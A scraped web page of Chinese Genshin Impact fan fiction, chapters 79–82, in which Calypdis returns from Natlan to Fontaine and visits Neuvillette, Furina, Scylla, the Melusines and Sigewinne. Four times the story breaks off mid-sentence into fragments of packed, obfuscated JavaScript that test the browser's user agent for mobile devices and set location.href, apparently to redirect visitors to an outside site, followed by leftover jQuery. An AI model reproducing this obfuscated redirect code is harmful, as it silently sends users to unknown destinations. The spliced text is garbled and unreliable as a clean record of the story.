35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14362277|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >于是返乡的人越来越多,这一大队人浩浩荡荡的朝着东方向的海湾出发,路过回声之子那里还捎带了等待多时的梅内娅——小美露莘灌了几大瓶水,想着回到枫丹后送给那维莱特大人。 “这次没有温泉水,我收集了溪流和绿洲的水,也许能有什么不一定的味道吧。”梅内娅柠檬色的眼睛眨啊眨,“卡吕普迪斯大人带了什么?” “一些种子,石头,还有花。”那些枯叶紫英离开奥奇卡纳塔后保存不了太久,他只能小心翼翼的做成书签或者永生花。 回声之子的于许多熟人看见他要走,纷纷送上饯别的食物与祝福。巴茨那家伙之前断了一条腿,静原给他续上后叮嘱他静养,谁知道今天又看见巴茨拄着拐杖一瘸一拐走来,还带着小嵴峰龙托托。 “谢谢您,卡吕普迪斯先生。您真的帮了我太多太多,这是我做的龙龙饼干,托托他们都很喜欢……请收下吧。” 静原笑起来:“好。” 他摸摸托托的小脑袋,没有多言。也许他这一走就不再回来,也许他还会回到纳塔看看,不过等他故地重游的时候,如今的熟悉面孔还能剩下多少呢? 静原只能笑,嗓音干涩,什么都说不出来。 纳塔与须弥之间隔着狭长的海湾,商队首领带着他们这帮人坐船抵达沙漠边缘,把绵绵兽换成了更适应沙漠气候的驼兽,喂足了水与食料,修整过后开始出发。 对于人类来说,穿越广袤的沙漠不亚于横跨枫丹海。无论代步工具是什么,沿途遭遇的气象都无法人为干预控制。无论是海上的风暴还是沙漠的沙尘暴,都能叫倒霉蛋迷航,进而死在这里。 枫丹海有人鱼,沙漠有沙虫。前者护航枫丹船只,后者只会把闯入其领地的生物顶撞而死。在须弥讨生活的商队从来不敢跨入那些前人用命探索来的沙虫领地,只能小心翼翼的避开,绕路而行。 全程气氛紧张低迷,人类吓得大气也不敢出,梅内娅窝在静原怀里休息没注意这些,等过了那块地方,才敢在镀金旅团接应时恢复正常音量说话。 静原并不多言,他裹着防沙的白袍,摸摸梅内娅酣睡的脸蛋。 人类在这样的世道讨生活就是这样艰难,沙漠失去了魔神的庇护,龙裔横行,人类只能夹缝求生,这是“理所应当”的事。可是静原只觉得难过。 提瓦特的人类过得好吗?一旦发展过高的科技,想要探索外面的世界,就会遭来天空岛的长钉。提瓦特的人类过得不好吗?他们有魔神庇护,天塌下来有高个子顶着。再难过的子民,也好过人类政权倾轧之下朝不保夕以至于灭亡的小国。 但好不好过不是静原这种被庇护着长大的家伙能评价的,他还没有那个资格,只能沉默的注视着。 沙漠的炽阳早已陨落,失去了自己的神明的人类只能寻求其他魔神庇护,草神就是很好的选择。 之前在沫芒宫似乎看见须弥教令院那边有意向和枫丹科学院研究合作,想要开启在沙漠人工降雨,人工造林的项目,据说是璃月那边的留学生提出的意见,草神觉得可行…… 静原露出了智慧的眼神。如果这个计划能推行,他就少找科学院的麻烦。 枫丹科学院研究员:我谢谢你啊。 79.欢迎回家 商队是要去须弥城做生意的,于是在沙土被青黄草地取代的时候,静原就带着一帮枫丹人和商队分开,绕路去北部的拜达港。 路程并不短,一路走走停停风餐露宿的,最后到了港口见到海,这帮人喜极而泣,被风沙吹得面如土色的脸上印记斑驳。 静原牵着梅内娅在海边洗了洗脸和手脚,越靠近海洋,他的力量越充沛,也越在意整体的洁净。 他问这些人是想在拜达港休息一晚再出发,还是现在继续走。不管怎样食宿都由他负责。 几乎都说继续走,都想快些回家。于是静原就他们采买补给完,租下一艘大船带这些人回到枫丹领域。路过佩特莉可镇,远远瞅见一只白猫趴在屋顶晒太阳,静原长吁一口气,只觉得恍如隔世。 好像和旅行者派蒙一起探索旧日之海的事就发生在昨天。 “枫丹今天的天气真好啊。阳光明朗,晴空无云。”这些枫丹人仰头眯着眼睛看水色的天空,迎面吹来的海风让他无比清晰的意识到自己已经回到了故国。 佩特莉可镇上的居民正在忙忙碌碌的晒被子晒菜干,为这难得的晴天而欢喜。 远方响起鲸鱼的歌声,鸥鸟盘旋在海露港港口的船只上空,风尘仆仆的游子终于回到了久违的故乡。 静原伸伸懒腰:“好了,现在各回各家各找各妈,犯事了的自己去自首,别让我去抓。” 说完他懒得理会身后人的脸色,牵着梅内娅,拎着大包小包大罐小罐坐电梯,乘着巡轨船去枫丹廷。 领航员也是美露莘,爱贝尔看见是许久不见的梅内娅和卡吕普迪斯简直喜出望外:“卡吕普迪斯大人出差回来啦!还有梅内娅,你终于回来了,在纳塔还玩得高兴吗?” “很高兴呀。”梅内娅坐在位置上晃悠着腿,“纳塔有好多好多可爱的龙,大家都很友善。甜甜的饼干,饮料和蛋糕——哦哦!卡吕普迪斯大人!” 静原知道自家孩子想要什么,把那一大盒龙龙饼干掏出来,让梅内娅和爱贝尔分。 爱贝尔摇摇头:“工作时间不可以吃零食哦。不过,我们可以等到站了再一起吃。” 工作的美露莘们都很有责任心,上班时间不允许吃零食这种明文规定一般都会遵守,也是为了乘客的感观考虑。不过到站休息时间是可以吃一些零食补充糖分恢复体力的。 爱贝尔和他这个离开枫丹月余的叔叔仔仔细细讲述了枫丹廷这些天发生的事情,又说:“卡吕普迪斯大人您出差这些天,福勒依斯女士来找过您,布法蒂公馆的林尼先生、琳妮特小姐和菲米尼先生先后来询问您的归期。我们也问过那维莱特大人,大人说这次出差是为了解决纳塔的问题,情况特殊,难以判定。” “海沫村的姐妹们都很想念您。”爱贝尔张开双臂拥抱叔叔,“欢迎回家,卡吕普迪斯大人。” “欢迎回家,梅内娅。” 越靠近沫芒宫,静原越是踟蹰。梅内娅站在他身边,看着他走走停停很是疑惑:“怎么啦,卡吕普迪斯大人?是有什么忘带了吗?” 当初跑得有多快,现在回家就有多害怕。静原自打听说那维莱特对外宣称他是用外交官的身份去纳塔出公差后,整条鱼都懵了。 那维莱特生气发火都好说,可看这样子,他不会生气发火——那维莱特从来没有对静原发火过。 路上走来,行人们几乎都在感叹今天这难得的好天气,一问才知道枫丹下了接近一个月的雨,从一开始的瓢泼大雨到后来淅淅沥沥的小雨,天上什么时候飘雨丝不确定,反正没见过正儿八经的灿阳。 静原越听越心慌。 完蛋了,那维莱特这回是真的伤了心。 梅内娅眨巴着眼睛:“卡吕普迪斯大人,您在发抖耶。” 静原都站在沫芒宫门口了,闻言扭头就走:“今天太匆忙了,还是明天再来向那维莱特述职吧。” “唉?”梅内娅不理解,手一指静原背后,“可是那维莱特大人已经出来接您啦。” 静原的脖子好像那生锈的钟表,咯哒咯哒一帧一帧的转过来,与台阶上站立的那维莱特对上视线。 那维莱特有一双很美的眼睛,色彩就像海中最圆润洁白的珍珠在日光下熠熠生辉,瞳孔是菱形而狭长的,轻而易举就能带给旁人严肃冷静的印象。 静原喉头一哽:“那维莱特……” “卡吕普迪斯,欢迎回家。”那维莱特没有愤怒,也没有悲伤,他甚至是轻柔的微笑着的,和他生活了许多年的眷属们轻而易举就判断出那是他高兴而放松的神情。 静原所有的内疚与担心都在对方的笑容中消散了,他也笑起来:“我回来咯!” 要不是沫芒宫外人多眼杂,拎着礼物的静原都想扑上去给那维莱特一个大大的拥抱了。他几乎是眉飞色舞的边走边叽叽喳喳的讲述他在纳塔的生活,梅内娅抱着水罐不时补充描述一二。 沫芒宫的职员们看见那维莱特难得出去了一趟,领着静原和美露莘进来后纷纷露出果然如此的表情,然后高高兴兴说:“欢迎回来,卡吕普迪斯大人。纳塔之行还顺利吗?” “挺好的,晚些我把资料文件整理好给你们。”静原匆匆回复,然后拐进那维莱特办公室,用脚带上了门。 那维莱特给他们两个倒了水:“坐下来休息一会吧,等会塞德娜会送茶点进来。” 静原灌了一大口水,感觉有点熟悉。那维莱特看他神情就知道他想问什么,因而提前回答:“这是福勒依斯送来的沉玉谷的泉水,说泡茶滋味甘甜。不过我更喜欢直接喝。” 然后就是一段漫长的寂静。 梅内娅连吞咽的声音都不敢发出来,直到那维莱特在静原对面坐下,叹息一声:“你能回来,我已经很满足了。” “……说得好像我会乐不思蜀一样。”静原笑笑,沉默了许多才开口,“对不起。我应该跟你好好说的。” 那维莱特却摇摇头:“那种情况,直接和我说我肯定不会答应。你真想去支援的话,提前走是对的。” “……对不起。让你担心了。”让家人为他提心吊胆并不是静原想要的结果,可有些时候有些事不得不去做。 “你我之前不用说这些。什么都比不上你平安回来。”那维莱特主动转移话题,“和我讲讲你在纳塔的事吧,我想听纳塔的龙的故事。” 宅男龙王那维莱特还是很好奇其他地区同族的故事的。 于是静原讲起嵴峰龙托托和尼尼,讲起鳍游龙莫乌,讲起绒翼龙柯娅与桑尼。讲匿叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14374712|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙利用钩索在林间回荡,讲瞑视龙揣着爪子端着小方步走路腾飞。 纳塔的龙王修库特尔假死,龙裔失去了向上进化的能力,其他龙类领主被封印在石像中,一头像人的龙在海上建立了新的城邦,在天上建造了可以触摸天空的巨船,可惜他的梦想毁灭在了深渊的浪潮中,烈火焚烬污秽,焚毁了城邦。然后在灰烬之中,开出了枯叶紫英这样的花。 静原把自己做的永生花和枯叶紫英书签递给那维莱特:“鲜花带不回来,好在用一些干燥剂做成永生花能让你看看枯叶紫英的样子。旅行者给了我一些种子,希望能种出来纳塔特有的植物。” 柔软的,在灰烬中开出的枯叶紫英,它静静的绽放在透明的玻璃瓶,时间因此停驻。 纳塔有许多花,许多植物,可是静原只带来了这些枯叶紫英。这些在烬城被焚毁后的灰烬里,在深渊魔物驻扎营地树下绽放的深紫色花朵,对于龙来说是特别的。它是龙类的抵抗深渊入侵的证明。 那维莱特理解他的意思,注视着花瓣片刻后感叹:“听故事的人的感受到底是不如见证者。那些灼热的情绪对我来说,虽然昂扬激荡,但……” 静原只是摇头:“没关系的,那维莱特。你不用急着感受这些,慢慢来就好。” 静原希望那维莱特对情绪的感知和理解能慢一些,再慢一些。有时候钝钝的,后知后觉也是一种幸福。 他摸摸身边梅内娅的头:“梅内娅带了很多纳塔的水给你,应该够你品鉴一段时间了。” “谢谢你,梅内娅。”那维莱特对着小美露莘露出柔和的笑容,这些像女儿一样的可爱小女孩总能轻而易举击中他的心。 塞德娜送来茶点,带着许久没见的梅内娅出去叙旧聊天,于是办公室里只剩下他们两个家长。 没有小辈在场,不需要做榜样后,静原直接叹气瘫在沙发上:“纳塔那边的事还没有结束,只是我不适合继续待在那边了。” 那维莱特当然要问为什么。于是年轻的龙王被迫在短时间内汲取了庞大的信息进而处理。夜神之国、死之执政、愚人众……在前二者的衬托下,愚人众有可能收集到最后一颗火神神之心的事都显得无足轻重了。 得知眷属被拒绝进入夜神之国,不能参与进纳塔后面的战争后,那维莱特承认他自己是感到高兴的。只要卡吕普迪斯能好好活着,什么都好说。 “之前他说复活后,提瓦特全境几乎都沦陷了。但是我从火神玛薇卡那里得知,她有能力将深渊封印在纳塔地界,不会涌出去半点……当时就觉得,问题不在纳塔。”静原仰头顶着天花板,无比心累,“纳塔更像是个幌子,真正危险的还得是位于须弥地下的坎瑞亚。谁知道坎瑞亚大门后封印了什么。” 那维莱特听完后只有一个问题,他盯住静原,恨不得在他脸上盯出朵花来:“你又要去须弥?” 静原只是无力的摆摆手:“去不了,不想去。就算天真的要塌下来,我也要留在枫丹陪着你们。”大不了就是死,死在家里好过死在家外边,不然他死了都不安心,千方百计的要回家,最后还得赔上福勒依斯那傻姑娘的一条命。 那维莱特放心了,不出去就好。 辛辛苦苦养大的孩子撒手就没谁受得了啊! 80.兄弟与手足 静原卸了力气,躺进了那维莱特在枫丹廷的住处。自打前阵子住过一段时间后,那维莱特收拾出来的“卡吕普迪斯专属房间”就没有再变了。他还特意给了静原一把钥匙,让他以后想到城里休息就来这,不用等他下班一起回。 这话说的……静原都想得寸进尺把海底的粉色贝壳床搬过来了,他真的很喜欢那个睡了很多年的贝壳床——感觉自己像公主一样(这是可以说的吗?)。 于是听说静原回来后,特意找到他登记在沫芒宫员工家庭地址,去住处拜访的芙宁娜女士敲敲门,结果看见是那维莱特开门。 穿着家居服的最高审判官一头雪白长发披肩,珍珠光彩色的眼瞳俯视矮矮的小姑娘——看上去很像邻居家的精英律师。 芙宁娜眨了眨眼睛,看了看门牌号,又看了看那维莱特,怀疑自我:“我找错地方了?这不是卡吕普迪斯家吗?” “芙宁娜女士,十几年前你就知道了我的住址。”那维莱特提醒她,“如果是来找卡吕普迪斯的话,他就住在这里。” 那维莱特侧身让出空间来方便芙宁娜通过,后者进屋后看见了在沙发上横躺,四仰八叉的静原。 芙宁娜:“……” 芙宁娜:“咳咳!” 静原翻了个身,爬起来迎接前水神大人:“来看我呀?见到你真高兴,芙宁娜。” 芙宁娜:“来看看你过得怎么样。话说,你们两个住在一起是怎么回事?我顺着沫芒宫职员家庭住址登记表找来的。” 哪怕不是水神了,沫芒宫对她也是大开绿灯,想知道什么除非特别机密,大家都是直接告诉她的。何况告诉她这些的是那维莱特的秘书塞德娜。 “芙宁娜女士,如果你看得再仔细一些,就会发现我和卡吕普迪斯的关系已经被登记为【兄弟】。”那维莱特给芙宁娜女士倒上她最喜欢的红茶,然后取了静原早上买来的花果三重奏、桔桔薄饼、膨膨泡芙和致水神——聪明的静原早就猜到芙宁娜会来看望他了,地址都是通过塞德娜传递给对方的。 无知无觉的芙宁娜坐在餐厅享用她喜欢的甜品和茶水,那维莱特去书房看文件,把交流空间留给他们两个。静原托腮看着她吃,突然放出猛料:“你知道吗,纳塔的火神玛薇卡也是人类哦。” “咳咳咳——”芙宁娜好险没一口喷出来,狼狈的擦擦嘴,“怎么回事?神明不应该是魔神吗?” 老天,风、岩、雷、草、冰这五国的神明都是板上钉钉的魔神啊,本以为与外界交流最少的纳塔也是如此,谁知道居然格外与众不同。 “纳塔的人民都知道这些,而且都接受良好。在纳塔,人人都有机会成神。说起来真是了不起呢。”静原状似无意开口,“玛薇卡明明是人类,实力却能够和愚人众的【队长】硬掰腕子。虽然我没有亲眼看到那一幕,不过【队长】也说玛薇卡的实力横强不容小觑。” 芙宁娜听呆了:“好厉害……” 她被【仆人】吓得恨不得抱头鼠窜,隔壁纳塔的玛薇卡却能战胜【队长】吗?那不是比【仆人】席位还要高的执行官吗? 明明是人类,却比号称拥有魔神级别力量的执行官还要厉害吗?真的太了不起了…… “我可不是给你上压力,芙宁娜。玛薇卡很厉害没错,可是你一点也不比她差哦。” “怎么可能,我谁都打不过,以前还被……【仆人】吓哭过。这事我都不敢告诉别人,也是现在尘埃落定,我不是水神后才敢说出来。”芙宁娜只觉得小蛋糕都没有滋味。 静原笑笑:“可你的心很厉害,坚韧不拔。” 火神玛薇卡本是五百年前的人类,为了五百年后抵御深渊的入侵,先死一次然后轮回重生。但是他们的水神芙宁娜,可是硬抗了五百年的光阴。 玛薇卡听说芙宁娜的事迹后感叹非常,直言自己的灵魂恐怕无法背负五百年的秘密与折磨。她希望静原告诉芙宁娜,人类的力量放眼整个世界都算不上强,可是论心灵的力量,哪个物种都比不过。以人类之躯,人类灵魂直面五百年的时间,芙宁娜女士完全称得上是庇护枫丹的水神。 “其他神明如何看待你我不知道,但是前同僚玛薇卡可是对你很有好感呢。” “你都说是前同事啦!”芙宁娜擦擦眼角,“真讨厌,你身上的香水气味太重了,我不喜欢。熏得眼睛疼。” 静原耸耸肩:“挺好闻啊,这是艾梅莉埃工作室上个季度销量最好的【净水】。我特意多买了几瓶。” “卡吕普迪斯……你这个坏蛋!”芙宁娜想锤他,这家伙难道看不出来吗?就是故意的吧! 听到外边动静的那维莱特走出书房询问:“发生了什么吗?卡吕普迪斯,不要欺负芙宁娜女士。” “苍天可鉴,我没有。”静原举双手投降,“芙宁娜要打我!你看!” 芙宁娜身体一僵,挥出去还没有落到实处的拳头就这么停在半空。而那维莱特好像什么都没有看见一样,扭头又进去了:“你们慢慢玩。” 他知道这个,人类孩子经常这样打闹游戏,家长往往不做过多的干预。 自觉是哥哥(爸爸)的那维莱特如此做出决定。 留下静原被气势猛涨的芙宁娜摁住,不轻不重锤了两下肩膀。 静原:“我不管!明天我就去沫芒宫改关系,我要当哥!” 那维莱特的声音隔着一道门,有些闷闷的:“不允通过。” 气得静原下午去旧日之海找斯库拉控诉:“说好了当【哥哥】就一直护着我的呢?芙宁娜要打我他都不拦一下!” 知道芙宁娜是个柔弱的人类小女孩后,斯库拉甩甩尾巴,觉得对方和卡吕普迪斯的打闹程度可以归类于两只海马幼崽互吐口水,完全不足为惧,当家长的都不用多看一眼。但是话不能这么说,斯库拉对于同族小辈还是相当怜爱的:“王和你年纪相仿,又成熟些,作为【兄长】也是合情合理的。” 说起来,“兄弟”这个概念还是龙从人类社会学到的,那维莱特之前考虑过“父子”关系,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14380408|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过想到自己并没有生过卡吕普迪斯,遗憾放弃,转而选择了“兄弟”这个选项——他要真的敢提出当静原的爹,静原直接离家出走。 斯库拉把“哥哥”自动理解为“老大”(严格来说也没错),他这样解释也是合情合理的。 只有静原拔高了声调:“明明我才最成熟可靠!”他可照顾那维莱特这小水龙的情绪了! 斯库拉亲王并不多言,只是眼神出卖了他,气得静原又是一顿哇哇叫。 卡吕普迪斯在小辈面前当然沉稳可靠,可是在同龄伙伴或者长辈前面,那完全暴露了本性,和人类社会撒泼打滚的熊孩子没有什么太大区别,闹闹腾腾的。 不过这样才正常嘛。 之前的忧郁小鱼看起来一点也不好,斯库拉更喜欢卡吕普迪斯活泼的样子。 本来就应该是这样的,小龙崽就应该快快乐乐无忧无虑的,在族亲的庇护下长大,然后再自己去争一片天地。斯库拉不知道在爱里长大的孩子心灵的力量会更强大,但是他知道小龙崽应该得到呵护与宠爱,半大的崽子应该得到指引与教导,这样他们的躯体才会更强壮,才不会被挫折与强敌击溃。 卡吕普迪斯的体型放在龙裔里都算小的了,斯库拉明明知道对方已经成年,却还是忍不住将其视作崽子。 或者说,不管卡吕普迪斯多大了,按理来说应该是他叔叔的斯库拉都会将他看做需要呵护的孩子。就像静原对他的孩子们那样,就像人类社会的父母对待子女一般,总觉得孩子还没有长大。 斯库拉的思绪被拉得很远,直到卡吕普迪斯爬上他的背躺下来才回过神:“和我讲讲你在纳塔的故事吧,小鱼,说不定我能听到老朋友的名字呢。” “你年轻时还去过纳塔吗?”静原忽略了那个昵称。 “哼哼,那会纳塔还不叫纳塔。”斯库拉回忆往昔,“水系龙裔一脉能抵达海水流经的每一个地方,我也见过其他元素体系的龙裔,不过那是很久很久以前的事了。 很久很久以前的故事……静原很感兴趣,于是和斯库拉讲起纳塔的龙众的模样,讲起伟大的圣龙领主库胡勒阿乔,讲起希巴拉克,讲起奥奇坎。 斯库拉的声音有些疑惑:“你说库胡勒阿乔?我知道他,不过他怎么变成了绿色的平面小龙了?” 纳塔龙类在烬火中重燃后会缩水到这个地步的吗? “你认识呀?” “以前见过一次,是个傲慢的家伙。作为【命定】的圣龙领主,哼……”斯库拉想起卡吕普迪斯去到纳塔被阿乔命令跪拜叩首称臣的事,冷笑一声,“你是对的,纳塔如今可没有能让你俯首跪拜的龙类。除非火龙王降临。” 卡吕普迪斯虽无亲王之名,却有亲王级别的实权。斯库拉不知道为什么王没有为他授予正式的位格,但王总归是有自己的考量的。 “干得漂亮,下次再见阿乔,或者其他的龙类,就像这样挺直腰板。好孩子,大大方方的。” 静原有那么一瞬间幻视自家大姨。 81.倒霉蛋 静原正式出现在枫丹人大众视野时,正是他回到枫丹的第三天。 他去露泽咖啡厅打包甜品,店主阿鲁埃一边惊喜的包装小蛋糕,一边同他问好:“卡吕普迪斯大人,这是要看望美露莘们吗?” 静原点点头:“格蕾丝蒂她们代替我巡航一月有余,想给孩子们买些她们喜欢的甜点心。” 静原想了想:“我再下单一些,等会请你派人送到沫芒宫和布法蒂公馆吧。” 阿鲁埃笑得眉眼弯弯:“好的,卡吕普迪斯大人。这是赠品,请您拿好。” 大客户静原提着超大包蛋糕和牛乳茶离开,路上不断有行人向他问好。如今卡吕普迪斯大人拥有人类双腿的事在枫丹已经不是少数人才知晓的情况了,自打沫芒宫对外宣称他去纳塔当外交官出差后,就有义愤填膺的群众抗议——为什么要让一条水生的人鱼去纳塔那样的火之国,这是蓄意谋杀!这是赤裸裸的酷刑! 吓得沫芒宫连夜出紧急通告,表示卡吕普迪斯大人已经获得了人类的形体,处于国防考虑远游纳塔,这才勉强压下群愤。 他回来的消息就像春风吹拂海岸一般迅速传播到枫丹大地各个角落,考虑到卡吕普迪斯大人不喜欢被人拍摄外貌以及接受采访,各大报纸的报道都很克制,只是对于他这趟“公差”的猜测五花八门。 用水包裹蛋糕盒子,平平稳稳抵达海沫村后,果然瞧见了一大群等待他回家的美露莘们。洛梅晃晃尾巴扑上来:“卡吕普迪斯大人!您终于回来啦!纳塔好玩吗?有没有什么特别的故事分享?” 一群小女孩拥簇而来,叽叽喳喳的询问声音就像团雀聚会似的,静原挨个分发蛋糕甜点心和牛乳茶,回答问题满足小女孩们的好奇心,格蕾丝蒂又爬上他的背,向他报告枫丹这些天的海上情况。 “卡吕普迪斯大人离开后,枫丹下了一场好大好大的雨,大家都说,是那维莱特大人伤心。我坐着海龟的背去到伊黎耶林区那边视察水脉,水龙蜥们说,他们那里也持续了很久的雨……后面连着一个星期都在下暴雨,海平面都增加了不少。”格蕾丝蒂叹气,“接下来的三个星期,每天都会落一些雨丝,小雨淅淅沥沥的,天空的乌云从未散去,就像我们的心情一样。” 静原只觉得肩膀愈发沉重了。 洛梅跟着叹气:“蒸汽鸟报说这是枫丹的雨季提前来了,不这样没法解释。” 休假回来的瑟琪摇摇头:“逐影庭的探员们虽然隐约猜到了什么,但是没往卡吕普迪斯大人您离开这方面想。” “不过虽然经常下雨,但海上没有起很大的雾,或者刮大风。”托皮娅想了想,“柔灯港那边的行船没有迷航触礁,算是难得了。” 看样子海上情况都好,静原便放心了:“那就好,辛苦大家这些天巡逻了,接下来我应该不会离开这么久这么远。嗯……过些日子就是璃月海灯节,今年有小姑娘愿意和我一起去玩吗?” 很可惜,大家都有自己的事要做。今年依旧没有小美露莘陪同……啊,有。 梅内娅举起手:“今年我陪大人一起去吧。” “真的吗?太好了!”静原立即高兴起来。 姐妹们看向梅内娅,担忧的询问关切道:“你刚从纳塔回来,不好好修养一阵吗?”“璃月人都比较……保守,不是很能接受我们的模样呢。”“今年不陪我们一起过暖炉夜了吗?” 梅内娅只是笑:“虽然有些累,但是旅行很开心。去其他国家玩是很有意思的事,我在纳塔也交到了好朋友,学会了很多呢。这次想去离家最近的璃月,卡吕普迪斯大人经常在沉玉谷那里游玩吧?我也想看看沉玉谷的风景。” 大家纷纷表示理解。 陪小姑娘们说了会话,讲述了在纳塔旅行的故事。梅内娅更是对他一起抵御深渊的战斗英姿大夸特夸,给叔叔夸得直脸红。 大英雄——他可爱的小侄女们是这样看待他的。 晕乎乎的离开海沫村前,他还记得把异国的种子分一些给爱种植的美露莘:“也许能开出很漂亮的花,也许能结出甜甜的果子。它们是脆弱而顽强的生命,好好呵护吧。” 林尼他们几个不在布法蒂公馆,可能是陪同父亲大人阿蕾奇诺回到至冬。无人接收,于是点心被退了回来,静原让店主帮忙无偿赠送给路过的孩子,在心底叹了口气。 他去了千织屋,将一些澄晶石和枯叶紫英送给千织:“我记得你很喜欢从自然中汲取灵感?或许这些异国的特产能对你有些帮助。” 正在苦恼下个季度的新款服装设计的千织见是他来,紧蹙的眉眼舒缓了些许:“谢谢,帮大忙了。或许我可以设计一些冬装? “枫丹的冬天可不太冷。” “边缘镶一些绒毛,布料不需要太厚,作为装饰就好。嗯……卖给准备返航的异国商人也不错,其他国家可不像枫丹这样四季温暖如春。” 静原微笑颔首:“看来你有想法了,那我就不叨扰你工作,下次再来看你。之前的新衣服很好看,我能再定做一身吗?” 千织立刻起身:“当然没问题,对上次的衣服有什么反馈吗?我是说下水游动有没有什么不适的地方。这次有没有实用性的建议?完全可以说的。” “唔……我想做一身暖和的冬装,不管是璃月还是至冬,都有些冷呢……”静原思考,“这次不用特意考虑布料的浸水问题,大概穿上后不会下水。” 千织点点头,心里已然有了考量。大概卡吕普迪斯先生又有远游的计划吧。 娜维娅和克洛琳德带着芙宁娜在郊外野餐,静原巡逻路上碰见了,顺便蹭一顿下午茶。 娜维娅对纳塔很好奇:“那里的人都吃什么呀,有没有像马卡龙这样的可爱小甜品?” “吃的挺多的,甜点也有不少。旅行者到处探索做委托,得了相当多的食谱,让我抄录了一些带回来。”静原知道他认识的孩子里面有喜欢烹饪烘焙的,“这是一部分食谱。等旅行者回枫丹玩的时候,你可以找他要剩下的。有一些会用到纳塔地区的特产作物,比如苦种、颗粒果、澄净石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389869|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、烬芯花之类的。枫丹廷的官方商队已经出发去了纳塔,大概下个月就会带着货物回来。” 娜维娅两眼放光:“你也太贴心了吧!天哪,我一定会好好研读的!” 静原:“倒也不必如此。” 克洛琳德优雅品尝咖啡:“期待你的复刻。” 今天巡逻完后,静原特意去了梅洛彼得堡拜访。 莱欧斯利对他的到来相当惊讶:“哟,稀客啊。这是什么风把您吹来了,卡吕普迪斯先生?” “来看看孩子,送些我从纳塔带回来的礼物。毕竟希格雯的假期很少。” “你呢这是在点我呢?” “倒也不必这样说,不过那维莱特倒是有这个想法……喏,这是给你的那份。发酵烘焙过的苦种种实,磨碎后冲泡就是一杯饮料。少放糖和奶,应该会是你能接受的味道。放心吧,上层的检察官已经检查过了。” 莱欧斯利当然知道检查过了,梅洛彼得堡从上到下哪个角落都有他的耳目,不过对于这位初次造访的人鱼先生,多一些信任也无妨。于是黑发的公爵笑弯了眼:“好啊,等会我就喝一杯。走吧,卡吕普迪斯先生,带你去护士长的医务室。” 公爵大人亲自带路,梅洛彼得堡的犯人们都在揣测这位蓝发青年的来历,怎么看也不像个犯人啊…… 几个前两天刚进来的新面孔眼观鼻鼻观心,对此一言不发。 卡吕普迪斯大人这是来视察的吗?天哪……居然真的会来检查他们有没有好好待在水下赎罪…… 只是来看孩子的静原对此想法一无所知,他很快见到了正在叮嘱病人忌口多休息的希格雯,在门外等候了一会,直到里面安静下来,才跟着莱欧斯利进去。 莱欧斯利当然习惯是来了直接进,不过看护士长的叔叔贴心的留下空间,他倒也配合。就是这两尊门神吓了出来的病人一大跳。 听到动静的希格雯回头一看,才发现是公爵和叔叔一起来了。 “公爵大人!卡吕普迪斯大人!”希格雯露出明显的惊喜笑容,奔过去,“卡吕普迪斯大人怎么来看我了呀?” “从纳塔回来休息了两天,来见见你。”静原取出带来的礼物,以及娜维娅烤的小饼干,“很久没来看你了,不准我想念家里的小姑娘吗?” 这下可给护士长高兴坏了,抱着叔叔的腰蹭蹭:“当然准许啦,卡吕普迪斯大人快坐下休息,我给您检查一下身体。没有好好吃饭好好休息的话,我会直接报告给那维莱特大人哟。” 被营养餐支配的恐惧再一次降临,静原求助的眼神看向莱欧斯利。公爵大人笑眯眯:“那我就不打扰你们难得的亲子时光了,卡吕普迪斯先生,等会特许食堂见。” 静原伸手挽留,被拿着泡泡枪的希格雯微笑着无情按倒。 “检查时间到咯~” 后续就是静原被迫吃药加希格雯特制爱心营养餐,如此才把身体调养好。 这亚健康状态什么时候才能解除——来自静原心底的无声怒吼。 82.番外 现世论坛(三)[番外] 【帖子】论卡吕普迪斯剧情出场率 1L楼主 